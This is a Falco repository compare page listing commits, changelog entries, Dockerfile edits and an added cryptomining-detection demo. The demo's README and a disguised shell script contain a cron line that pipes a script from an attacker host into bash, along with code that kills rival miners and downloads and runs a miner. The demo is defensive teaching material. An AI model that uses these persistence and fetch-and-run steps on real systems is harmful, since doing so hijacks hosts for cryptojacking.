Compare commits

...

28 Commits

Author SHA1 Message Date
Brett Bertocci
a0331c9602 Merge branch 'dev' into agent-master 2018-05-16 16:08:05 -07:00
Gianluca Borello
c3b0f0d96d Fix Travis CI 2018-05-09 14:15:10 -07:00
Gianluca Borello
2a7851c77b eBPF support for Falco 2018-05-09 14:15:10 -07:00
Thom van Os
cb5db7486b Merge branch 'dev' into agent-master 2018-05-04 11:14:44 -07:00
Mark Stemm
512a36dfe1 Conditional rules (#364)
* Add ability to skip rules for unknown filters

Add the ability to skip a rule if its condition refers to a filtercheck
that doesn't exist. This allows defining a rules file that contains new
conditions that can still has limited backward compatibility with older
falco versions.

When compiling a filter, return a list of filtercheck names that are
present in the ast (which also includes filterchecks from any
macros). This set of filtercheck names is matched against the set of
filterchecks known to sinsp, expressed as lua patterns, and in the
global table defined_filters. If no match is found, the rule loader
throws an error.

The pattern changes slightly depending on whether the filter has
arguments or not. Two filters (proc.apid/proc.aname) can work with or
without arguments, so both styles of patterns are used.

If the rule has an attribute "skip-if-unknown-filter", the rule will be
skipped instead.

* Unit tests for skipping unknown filter

New unit test for skipping unknown filter. Test cases:

 - A rule that refers to an unknown filter results in an error.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: true", can be read, but doesn't match any events.
 - A rule that refers to an unknown filter, but has
   "skip-if-unknown-filter: false", returns an error.

Also test the case of a filtercheck like evt.arg.xxx working properly
with the embedded patterns as well as proc.aname/apid which work both ways.
2018-05-03 14:24:32 -07:00
David Archer
73e1ae616a Don't make driver compilation fail when kernel is compiled with CONFIG_ORC_UNWINDER or CONFIG_STACK_VALIDATION. (#362)
sysdig-CLA-1.0-signed-off-by: David Archer <darcher@gmail.com>
2018-04-30 14:40:28 -07:00
Luca Marturana
c30c5a7a62 Merge branch 'dev' into agent-master 2018-04-26 13:17:01 -07:00
Mark Stemm
af57f2b5c8 Update CHANGELOG/README for 0.10.0 (#358) 2018-04-24 16:20:16 -07:00
Mark Stemm
30ae3447c3 Print ignored events/syscalls with -i (#359)
When run with -i, print out all ignored syscalls/event names and exit.
2018-04-24 16:07:28 -07:00
Mark Stemm
9d3392e9b9 Use better way to skip falco events (#356)
* Use better way to skip falco events

Use the new method falco_consider() to determine which events to
skip. This centralizes the logic in a single function. All events will
still be considered if falco was run with -A.

This depends on https://github.com/draios/sysdig/pull/1105.

* Add ability to specify -A flag in tests

test attribute all_events corresponds to the -A flag. Add for some tests
that would normally refer to skipped events.
2018-04-24 15:23:51 -07:00
Mark Stemm
6be4830342 Improve compatibility with falco 0.9.0 (#357)
* Improve compatibility with falco 0.9.0

Temporarily remove some rules features that are not compatible with
falco 0.9.0. We'll release a new falco soon, after which we'll add these
rules features back.

* Disable the unexpected udp traffic rule by default

Some applications will connect a udp socket to an address only to
test connectivity. Assuming the udp connect works, they will follow
up with a tcp connect that actually sends/receives data.

This occurs often enough that we don't want to update the Unexpected UDP
Traffic rule by default, so add a macro do_unexpected_udp_check which is
set to never_true. To opt-in, override the macro to use the condition
always_true.
2018-04-24 11:23:16 -07:00
Mark Stemm
e6bf402117 Rule updates 2018 04.v1 (#350)
* added new command lines for rabbitMQ

* added httpd_writing_ssl_conf macro and add it to write_etc_common

*  modified httpd_writing_ssl_conf to add additional files

* added additional command to httpd_writing_ssl_conf

* Wrap condition

Wrap condition with folded style.

* Consolidate test connect ports into one list

There were several exceptions for apps that do a udp connect on an
address simply to see if it works, folllowed by a tcp connect that
actually sends/receives data.

Unify these exceptions into a single list test_connect_ports, and add
port 9 (discard, used by dockerd).
2018-04-24 09:24:50 -07:00
Brett Bertocci
2b75439d08 Merge branch 'dev' into agent-master 2018-04-23 07:10:44 -07:00
Mark Stemm
e922a849a9 Add tests catchall order (#355)
* Only check whole rule names when matching counts

Tweak the regex so a rule my_great_rule doesn't pick up event counts for
a rule "great_rule: nnn".

* Add ability to skip evttype warnings for rules

A new attribute warn_evttypes, if present, suppresses printing warnings
related to a rule not matching any event type. Useful if you have a rule
where not including an event type is intentional.

* Add test for preserving rule order

Test the fix for https://github.com/draios/falco/issues/354. A rules
file has a event-specific rule first and a catchall rule second. Without
the changes in https://github.com/draios/sysdig/pull/1103, the first
rule does not match the event.
2018-04-19 09:31:20 -07:00
Mark Stemm
b6b490e26e Add Rule for unexpected udp traffic (#320)
* Add Rule for unexpected udp traffic

New rule Unexpected UDP Traffic checks for udp traffic not on a list of
expected ports. Currently blocked on
https://github.com/draios/falco/issues/308.

* Add sendto/recvfrom in inbound/outbound macros

Expand the inbound/outbound macros to handle sendfrom/recvto events, so
they can work on unconnected udp sockets. In order to avoid a flood of
events, they also depend on fd.name_changed to only consider
sendto/recvfrom when the connection tuple changes.

Also make the check for protocol a positive check for udp instead of not tcp,
to avoid a warning about event type filters potentially appearing before
a negative condition. This makes filtering rules by event type easier.

This depends on https://github.com/draios/sysdig/pull/1052.

* Add additional restrictions for inbound/outbound

 - only look for fd.name_changed on unconnected sockets.
 - skip connections where both ips are 0.0.0.0 or localhost network.
 - only look for successful or non-blocking actions that are in progress

* Add a combined inbound/outbound macro

Add a combined inbound/outbound macro so you don't have to do all the
other net/result related tests more than once.

* Fix evt generator for new in/outbound restrictions

The new rules skip localhost, so instead connect a udp socket to a
non-local port. That still triggers the inbound/outbound macros.

* Address FPs in regression tests

In some cases, an app may make a udp connection to an address with a
port of 0, or to an address with an application's port, before making a
tcp connection that actually sends/receives traffic. Allow these
connects.

Also, check both the server and client port and only consider the
traffic unexpected if neither port is in range.
2018-04-18 10:07:22 -07:00
Mark Stemm
ac190ca457 Properly support syscalls in filter conditions (#352)
* Properly support syscalls in filter conditions

Syscalls have their own numbers but they weren't really handled within
falco.  This meant that there wasn't a way to handle filters with
evt.type=xxx clauses where xxx was a value that didn't have a
corresponding event entry (like "madvise", for examples), or where a
syscall like open could also be done indirectly via syscall(__NR_open,
...).

First, add a new top-level global syscalls that maps from a string like
"madvise" to all the syscall nums for that id, just as we do for event
names/numbers.

In the compiler, when traversing the AST for evt.type=XXX or evt.type in
(XXX, ...) clauses, also try to match XXX against the global syscalls
table, and return any ids in a standalone table.

Also throw an error if an XXX doesn't match any event name or syscall name.

The syscall numbers are passed as an argument to sinsp_evttype_filter so
it can preindex the filters by syscall number.

This depends on https://github.com/draios/sysdig/pull/1100

* Add unit test for syscall support

This does a madvise, which doesn't have a ppm event type, both directly
and indirectly via syscall(__NR_madvise, ...), as well as an open
directly + indirectly. The corresponding rules file matches on madvise
and open.

The test ensures that both opens and both madvises are detected.
2018-04-17 17:14:45 -07:00
Mattia Pagnozzi
96b4ff0ee5 Fix/Expand "Modify bin dirs" rule (#353)
* Also check evt.abspath in "Modify binary dirs" rule
For unlinkat evt.arg[1] is not the path of the file/dir removed.

* Monitor renameat too in "Modify binary dirs" rule
2018-04-13 15:17:23 -07:00
Mark Stemm
5c58da2604 Start setting autodrop, which filters addl events (#351)
To further reduce falco's cpu usage, start setting the inspector in
"autodrop" mode with a sampling ratio of 1. When autodrop mode is
enabled, a second class of events (those having EF_ALWAYS_DROP in the
syscall table, or those syscalls that do not have specific handling in
the syscall table) are also excluded.
2018-04-11 20:07:25 -07:00
Mark Stemm
c5b3097a65 Add ability to read rules files from directories (#348)
* Add ability to read rules files from directories

When the argument to -r <path> or an entry in falco.yaml's rules_file
list is a directory, read all files in the directory and add them to the
rules file list. The files in the directory are sorted alphabetically
before being added to the list.

The installed falco adds directories /etc/falco/rules.available and
/etc/falco/rules.d and moves /etc/falco/application_rules.yaml to
/etc/falco/rules.available. /etc/falco/rules.d is empty, but the idea is
that admins can symlink to /etc/falco/rules.available for applications
they want to enable.

This will make it easier to add application-specific rulesets that
admins can opt-in to.

* Unit test for reading rules from directory

Copy the rules/trace file from the test multiple_rules to a new test
rules_directory. The rules files are in rules/rules_dir/{000,001}*.yaml,
and the test uses a rules_file argument of rules_dir. Ensure that the
same events are detected.
2018-04-05 17:03:37 -07:00
Mark Stemm
8389e44d7b Rotate logs (#347)
* Reopen file/program outputs on SIGUSR1

When signaled with SIGUSR1, close and reopen file and program based
outputs. This is useful when combined with logrotate to rotate logs.

* Example logrotate config

Example logrotate config that relies on SIGUSR1 to rotate logs.

* Ensure options exist for all outputs

Options may not be provided for some outputs (like stdout), so create an
empty set of options in that case.
2018-04-05 14:31:36 -07:00
Mark Stemm
a5daf8b058 Allow append skipped rules (#346)
* Allow appending to skipped rules

If a rule has an append attribute but the original rule was skipped (due
to having lower priority than the configured priority), silently skip
the appending rule instead of returning an error.

* Unit test for appending to skipped rules

Unit test verifies fix for appending to skipped rules. One rules file
defines a rule with priority WARNING, a second rules file appends to
that rules file, and the configured priority is ERROR.

Ensures that falco rules without errors.
2018-04-05 10:28:45 -07:00
Joshua Carp
a0053dba18 Use distinct names for file and program output pointers. (#335)
sysdig-CLA-1.0-signed-off-by: Josh Carp <jm.carp@gmail.com>
2018-04-04 22:07:00 -07:00
Anoop Gupta
b99a4e5ccf Merge remote-tracking branch 'origin/dev' into agent-master 2018-04-04 15:29:24 -07:00
Mark Stemm
88327abb41 Unit test for fd.net + in operator fixes (#343)
Tests fix for https://github.com/draios/falco/issues/339. Depends on
https://github.com/draios/sysdig/pull/1091.
2018-04-04 14:23:21 -07:00
Mark Stemm
1516fe4eac Rule updates 2018 02.v3 (#344)
* add common fluentd command, let docker modify

Add a common fluentd command, and let docker operations modify bin dir

* Add abrt-action-sav(...) as a rpm program

https://linux.die.net/man/1/abrt-action-save-package-data

* Add etc writers for more ms-on-linux svcs

Microsoft SCX and Azure Network Watcher Agent.

* Let nginx write its own config.

* Let chef-managed gitlab write gitlab config

* Let docker container fsen outside of containers

The docker process can also be outside of a container when doing actions
like docker save, etc, so drop the docker requirement.

* Expand the set of haproxy configs.

Let the parent process also be haproxy_reload and add an additional
directory.

* Add an additional node-related file below /root

For node cli.

* Let adclient read sensitive files

Active Directory Client.

* Let mesos docker executor write shells

* Add additional privileged containers.

A few more openshift-related containers and datadog.

* Add a kafka admin command line as allowed shell

In this case, run by cassandra

* Add additional ignored root directories

gradle and crashlytics

* Add back mesos shell spawning binaries back

This list will be limited only to those binaries known to spawn
shells. Add mesos-slave/mesos-health-ch.

* Add addl trusted containers

Consul and mesos-slave.

* Add additional config writers for sosreport

Can also write files below /etc/pki/nssdb.

* Expand selinux config progs

Rename macro to selinux_writing_conf and add additional programs.

* Let rtvscand read sensitive files

Symantec av cli program.

* Let nginx-launch write its own certificates

Sometimes directly, sometimes by invoking openssl.

* Add addl haproxy config writers

Also allow the general prefix /etc/haproxy.

* Add additional root files.

Mongodb-related.

* Add additional rpm binaries

rpmdb_stat

* Let python running get-pip.py modify binary files

Used as a part of directly running get-pip.py.

* Let centrify scripts read sensitive files

Scripts start with /usr/share/centrifydc

* Let centrify progs write krb info

Specifically, adjoin and addns.

* Let ansible run below /root/.ansible

* Let ms oms-run progs manage users

The parent process is generally omsagent-<version> or scx-<version.

* Combine & expand omiagent/omsagent macros

Combine the two macros into a single ms_oms_writing_conf and add both
direct and parent binaries.

* Let python scripts rltd to ms oms write binaries

Python scripts below /var/lib/waagent.

* Let google accounts daemon modify users

Parent process is google_accounts(_daemon).

* Let update-rc.d modify files below /etc

* Let dhcp binaries write indirectly to etc

This allows them to run programs like sed, cp, etc.

* Add istio as a trusted container.

* Add addl user management progs

Related to post-install steps for systemd/udev.

* Let azure-related scripts write below etc

Directory is /etc/azure, scripts are below /var/lib/waagent.

* Let cockpit write its config

http://www.cockpit-project.org/

* Add openshift's cassandra as a trusted container

* Let ipsec write config

Related to strongswan (https://strongswan.org/).

* Let consul-template write to addl /etc files

It may spawn intermediate shells and write below /etc/ssl.

* Add openvpn-entrypo(int) as an openvpn program

Also allow subdirectories below /etc/openvpn.

* Add additional files/directories below /root

* Add cockpit-session as a sensitive file reader

* Add puppet macro back

Still used in some people's user rules files.

* Rename name= to program=

Some users pointed out that name= was ambiguous, especially when the
event includes files being acted upon. Change to program=.

* Also let omiagent run progs that write oms config

It can run things like python scripts.

* Allow writes below /root/.android
2018-04-02 18:10:11 -07:00
Mark Stemm
559240b628 Example puppet module for falco (#341)
Add an example puppet module for falco. This module configures the main
falco configuration file /etc/falco/falco.yaml, providing templates for
all configuration options.

It installs falco using debian/rpm packages and installs/manages it as a
systemd service.
2018-03-28 11:50:04 -07:00
Mark Stemm
2a3ca21779 Skip output json format (#342)
* Add option to exclude output property in json fmt

New falco.yaml option json_include_output_property controls where the
formatted string "output" is included in the json object when json
output is enabled. By default the string is included.

* Add tests for new json output option

New test sets json_include_output_property to false and then verifies
that the json output does *not* contain the surrounding text "Warning an
open...".
2018-03-28 11:24:09 -07:00
Mark Stemm
a3f53138d3 Example showing cryptomining exploit (#336)
An example showing how an overly permissive container environment can be
exploited to install and run cryptomining software on a host system.
2018-03-16 15:17:39 -07:00
63 changed files with 1809 additions and 172 deletions

View File

@@ -10,7 +10,7 @@ before_install:
- sudo apt-get update
install:
- sudo apt-get --force-yes install g++-4.8
- sudo apt-get install rpm linux-headers-$(uname -r)
- sudo apt-get install rpm linux-headers-$(uname -r) libelf-dev
- git clone https://github.com/draios/sysdig.git ../sysdig
- sudo apt-get install -y python-pip libvirt-dev jq dkms
- cd ..

View File

@@ -2,6 +2,48 @@
This file documents all notable changes to Falco. The release numbering uses [semantic versioning](http://semver.org).
## v0.10.0
Released 2018-04-24
## Major Changes
* **Rules Directory Support**: Falco will read rules files from `/etc/falco/rules.d` in addition to `/etc/falco/falco_rules.yaml` and `/etc/falco/falco_rules.local.yaml`. Also, when the argument to `-r`/falco.yaml `rules_file` is a directory, falco will read rules files from that directory. [[#348](https://github.com/draios/falco/pull/348)] [[#187](https://github.com/draios/falco/issues/187)]
* Properly support all syscalls (e.g. those without parameter extraction by the kernel module) in falco conditions, so they can be included in `evt.type=<name>` conditions. [[#352](https://github.com/draios/falco/pull/352)]
* When packaged as a container, start building kernel module with gcc 5.0 instead of gcc 4.9. [[#331](https://github.com/draios/falco/pull/331)]
* New example puppet module for falco. [[#341](https://github.com/draios/falco/pull/341)] [[#115](https://github.com/draios/falco/issues/115)]
* When signaled with `USR1`, falco will close/reopen log files. Include a [logrotate](https://github.com/logrotate/logrotate) example that shows how to use this feature for log rotation. [[#347](https://github.com/draios/falco/pull/347)] [[#266](https://github.com/draios/falco/issues/266)]
* To improve resource usage, further restrict the set of system calls available to falco [[#351](https://github.com/draios/falco/pull/351)] [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)]
## Minor Changes
* Add gdb to the development Docker image (sysdig/falco:dev) to aid in debugging. [[#323](https://github.com/draios/falco/pull/323)]
* You can now specify -V multiple times on the command line to validate multiple rules files at once. [[#329](https://github.com/draios/falco/pull/329)]
* When run with `-v`, falco will print *dangling* macros/lists that are not used by any rules. [[#329](https://github.com/draios/falco/pull/329)]
* Add an example demonstrating cryptomining attack that exploits an open docker daemon using host mounts. [[#336](https://github.com/draios/falco/pull/336)]
* New falco.yaml option `json_include_output_property` controls whether the formatted string "output" is included in the json object when json output is enabled. [[#342](https://github.com/draios/falco/pull/342)]
* Centralize testing event types for consideration by falco into a single function [[draios/sysdig#1105](https://github.com/draios/sysdig/pull/1105)) [[#356](https://github.com/draios/falco/pull/356)]
* If a rule has an attribute `warn_evttypes`, falco will not complain about `evt.type` restrictions on that rule [[#355](https://github.com/draios/falco/pull/355)]
* When run with `-i`, print all ignored events/syscalls and exit. [[#359](https://github.com/draios/falco/pull/359)]
## Bug Fixes
* Minor bug fixes to k8s daemonset configuration. [[#325](https://github.com/draios/falco/pull/325)] [[#296](https://github.com/draios/falco/pull/296)] [[#295](https://github.com/draios/falco/pull/295)]
* Ensure `--validate` can be used interchangeably with `-V`. [[#334](https://github.com/draios/falco/pull/334)] [[#322](https://github.com/draios/falco/issues/322)]
* Rule conditions like `fd.net` can now be used with the `in` operator e.g. `evt.type=connect and fd.net in ("127.0.0.1/24")`. [[draios/sysdig#1091](https://github.com/draios/sysdig/pull/1091)] [[#343](https://github.com/draios/falco/pull/343)]
* Ensure that `keep_alive` can be used both with file and program output at the same time. [[#335](https://github.com/draios/falco/pull/335)]
* Make it possible to append to a skipped macro/rule without falco complaining [[#346](https://github.com/draios/falco/pull/346)] [[#305](https://github.com/draios/falco/issues/305)]
* Ensure rule order is preserved even when rules do not contain any `evt.type` restriction. [[#354](https://github.com/draios/falco/issues/354)] [[#355](https://github.com/draios/falco/pull/355)]
## Rule Changes
* Make it easier to extend the `Change thread namespace` rule via a `user_known_change_thread_namespace_binaries` list. [[#324](https://github.com/draios/falco/pull/324)]
* Various FP fixes from users. [[#321](https://github.com/draios/falco/pull/321)] [[#326](https://github.com/draios/falco/pull/326)] [[#344](https://github.com/draios/falco/pull/344)] [[#350](https://github.com/draios/falco/pull/350)]
* New rule `Disallowed SSH Connection` detects attempts ssh connection attempts to hosts outside of an expected set. In order to be effective, you need to override the macro `allowed_ssh_hosts` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
* New rule `Unexpected K8s NodePort Connection` detects attempts to contact the K8s NodePort range from a program running inside a container. In order to be effective, you need to override the macro `nodeport_containers` in a user rules file. [[#321](https://github.com/draios/falco/pull/321)]
* Improve `Modify binary dirs` rule to work with new syscalls [[#353](https://github.com/draios/falco/pull/353)]
* New rule `Unexpected UDP Traffic` checks for udp traffic not on a list of expected ports. Somewhat FP-prone, so it must be explicitly enabled by overriding the macro `do_unexpected_udp_check` in a user rules file. [[#320](https://github.com/draios/falco/pull/320)] [[#357](https://github.com/draios/falco/pull/357)]
## v0.9.0
Released 2018-01-18

View File

@@ -2,7 +2,7 @@
#### Latest release
**v0.9.0**
**v0.10.0**
Read the [change log](https://github.com/draios/falco/blob/dev/CHANGELOG.md)
Dev Branch: [![Build Status](https://travis-ci.org/draios/falco.svg?branch=dev)](https://travis-ci.org/draios/falco)<br />

View File

@@ -1,4 +1,4 @@
/etc/falco/falco.yaml
/etc/falco/falco_rules.yaml
/etc/falco/application_rules.yaml
/etc/falco/rules.available/application_rules.yaml
/etc/falco/falco_rules.local.yaml

View File

@@ -17,18 +17,29 @@ ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
gnupg2 \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 \
gdb && rm -rf /var/lib/apt/lists/*
gdb \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \

View File

@@ -296,23 +296,21 @@ void system_user_interactive() {
}
void network_activity() {
printf("Opening a listening socket on port 8192...\n");
printf("Connecting a udp socket to 10.2.3.4:8192...\n");
int rc;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in localhost;
localhost.sin_family = AF_INET;
localhost.sin_port = htons(8192);
inet_aton("127.0.0.1", &(localhost.sin_addr));
inet_aton("10.2.3.4", &(localhost.sin_addr));
if((rc = bind(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
if((rc = connect(sock, (struct sockaddr *) &localhost, sizeof(localhost))) != 0)
{
fprintf(stderr, "Could not bind listening socket to localhost: %s\n", strerror(errno));
return;
}
listen(sock, 1);
close(sock);
}

View File

@@ -17,18 +17,29 @@ ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
gnupg2 \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
gcc-5 \
dkms && rm -rf /var/lib/apt/lists/*
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN ln -s $SYSDIG_HOST_ROOT/lib/modules /lib/modules
ADD falco-${FALCO_VERSION}-x86_64.deb /

View File

@@ -17,17 +17,28 @@ ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
curl \
jq \
bc \
clang-7 \
ca-certificates \
curl \
gnupg2 \
gcc \
gcc-5 && rm -rf /var/lib/apt/lists/*
gcc-5 \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
&& rm -rf /var/lib/apt/lists/*
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \

View File

@@ -0,0 +1,117 @@
# Demo of Falco Detecting Cryptomining Exploit
## Introduction
Based on a [blog post](https://sysdig.com/blog/detecting-cryptojacking/) we wrote, this example shows how an overly permissive container environment can be exploited to install cryptomining software and how use of the exploit can be detected using Sysdig Falco.
Although the exploit in the blog post involved modifying the cron configuration on the host filesystem, in this example we keep the host filesystem untouched. Instead, we have a container play the role of the "host", and set up everything using [docker-compose](https://docs.docker.com/compose/) and [docker-in-docker](https://hub.docker.com/_/docker/).
## Requirements
In order to run this example, you need Docker Engine >= 1.13.0 and docker-compose >= 1.10.0, as well as curl.
## Example architecture
The example consists of the following:
* `host-machine`: A docker-in-docker instance that plays the role of the host machine. It runs a cron daemon and an independent copy of the docker daemon that listens on port 2375. This port is exposed to the world, and this port is what the attacker will use to install new software on the host.
* `attacker-server`: A nginx instance that serves the malicious files and scripts using by the attacker.
* `falco`: A Falco instance to detect the suspicious activity. It connects to the docker daemon on `host-machine` to fetch container information.
All of the above are configured in the docker-compose file [demo.yml](./demo.yml).
A separate container is created to launch the attack:
* `docker123321-mysql` An [alpine](https://hub.docker.com/_/alpine/) container that mounts /etc from `host-machine` into /mnt/etc within the container. The json container description is in the file [docker123321-mysql-container.json](./docker123321-mysql-container.json).
## Example Walkthrough
### Start everything using docker-compose
To make sure you're starting from scratch, first run `docker-compose -f demo.yml down -v` to remove any existing containers, volumes, etc.
Then run `docker-compose -f demo.yml up --build` to create the `host-machine`, `attacker-server`, and `falco` containers.
You will see fairly verbose output from dockerd:
```
host-machine_1 | crond: crond (busybox 1.27.2) started, log level 6
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="starting containerd" module=containerd revision=9b55aab90508bd389d7654c4baf173a981477d55 version=v1.0.1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.content.v1.content"..." module=containerd type=io.containerd.content.v1
host-machine_1 | time="2018-03-15T15:59:51Z" level=info msg="loading plugin "io.containerd.snapshotter.v1.btrfs"..." module=containerd type=io.containerd.snapshotter.v1
```
When you see log output like the following, you know that falco is started and ready:
```
falco_1 | Wed Mar 14 22:37:12 2018: Falco initialized with configuration file /etc/falco/falco.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.yaml
falco_1 | Wed Mar 14 22:37:12 2018: Parsed rules from file /etc/falco/falco_rules.local.yaml
```
### Launch malicious container
To launch the malicious container, we will connect to the docker instance running in `host-machine`, which has exposed port 2375 to the world. We create and start a container via direct use of the docker API (although you can do the same via `docker run -H http://localhost:2375 ...`.
The script `launch_malicious_container.sh` performs the necessary POSTs:
* `http://localhost:2375/images/create?fromImage=alpine&tag=latest`
* `http://localhost:2375/containers/create?&name=docker123321-mysql`
* `http://localhost:2375/containers/docker123321-mysql/start`
Run the script via `bash launch_malicious_container.sh`.
### Examine cron output as malicious software is installed & run
`docker123321-mysql` writes the following line to `/mnt/etc/crontabs/root`, which corresponds to `/etc/crontabs/root` on the host:
```
* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s
```
It also touches the file `/mnt/etc/crontabs/cron.update`, which corresponds to `/etc/crontabs/cron/update` on the host, to force cron to re-read its cron configuration. This ensures that every minute, cron will download the script (disguised as [logo3.jpg](attacker_files/logo3.jpg)) from `attacker-server` and run it.
You can see `docker123321-mysql` running by checking the container list for the docker instance running in `host-machine` via `docker -H localhost:2375 ps`. You should see output like the following:
```
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
68ed578bd034 alpine:latest "/bin/sh -c 'echo '*…" About a minute ago Up About a minute docker123321-mysql
```
Once the cron job runs, you will see output like the following:
```
host-machine_1 | crond: USER root pid 187 cmd curl -s http://attacker-server:8220/logo3.jpg | bash -s
host-machine_1 | ***Checking for existing Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /logo3.jpg HTTP/1.1" 200 1963 "-" "curl/7.58.0" "-"
host-machine_1 | ***Killing competing Miner programs
host-machine_1 | ***Reinstalling cron job to run Miner program
host-machine_1 | ***Configuring Miner program
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /config_1.json HTTP/1.1" 200 50 "-" "curl/7.58.0" "-"
attacker-server_1 | 172.22.0.4 - - [14/Mar/2018:22:38:00 +0000] "GET /minerd HTTP/1.1" 200 87 "-" "curl/7.58.0" "-"
host-machine_1 | ***Configuring system for Miner program
host-machine_1 | vm.nr_hugepages = 9
host-machine_1 | ***Running Miner program
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
host-machine_1 | ***Ensuring Miner program is alive
host-machine_1 | 238 root 0:00 {jaav} /bin/bash ./jaav -c config.json -t 3
host-machine_1 | /var/tmp
host-machine_1 | runing.....
```
### Observe Falco detecting malicious activity
To observe Falco detecting the malicious activity, you can look for `falco_1` lines in the output. Falco will detect the container launch with the sensitive mount:
```
falco_1 | 22:37:24.478583438: Informational Container with sensitive mount started (user=root command=runc:[1:CHILD] init docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
falco_1 | 22:37:24.479565025: Informational Container with sensitive mount started (user=root command=sh -c echo '* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s' >> /mnt/etc/crontabs/root && sleep 300 docker123321-mysql (id=97587afcf89c) image=alpine:latest mounts=/etc:/mnt/etc::true:rprivate)
```
### Cleanup
To tear down the environment, stop the script using ctrl-C and remove everything using `docker-compose -f demo.yml down -v`.

View File

@@ -0,0 +1,14 @@
server {
listen 8220;
server_name localhost;
location / {
root /usr/share/nginx/html;
index index.html index.htm;
}
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
}

View File

@@ -0,0 +1 @@
{"config": "some-bitcoin-miner-config-goes-here"}

View File

@@ -0,0 +1,64 @@
#!/bin/sh
echo "***Checking for existing Miner program"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Killing competing Miner programs"
rm -rf /var/tmp/ysjswirmrm.conf
rm -rf /var/tmp/sshd
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs -r kill -9
ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs -r kill -9
echo "***Reinstalling cron job to run Miner program"
crontab -r || true && \
echo "* * * * * curl -s http://attacker-server:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true
echo "***Configuring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Configuring system for Miner program"
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
echo "***Running Miner program"
nohup ./jaav -c config.json -t `echo $cores` >/dev/null &
fi
echo "***Ensuring Miner program is alive"
ps -fe|grep jaav |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
echo "***Reconfiguring Miner program"
curl -so /var/tmp/config.json http://attacker-server:8220/config_1.json
curl -so /var/tmp/jaav http://attacker-server:8220/minerd
chmod 777 /var/tmp/jaav
cd /var/tmp
echo "***Reconfiguring system for Miner program"
proc=`grep -c ^processor /proc/cpuinfo`
cores=$(($proc+1))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=$num
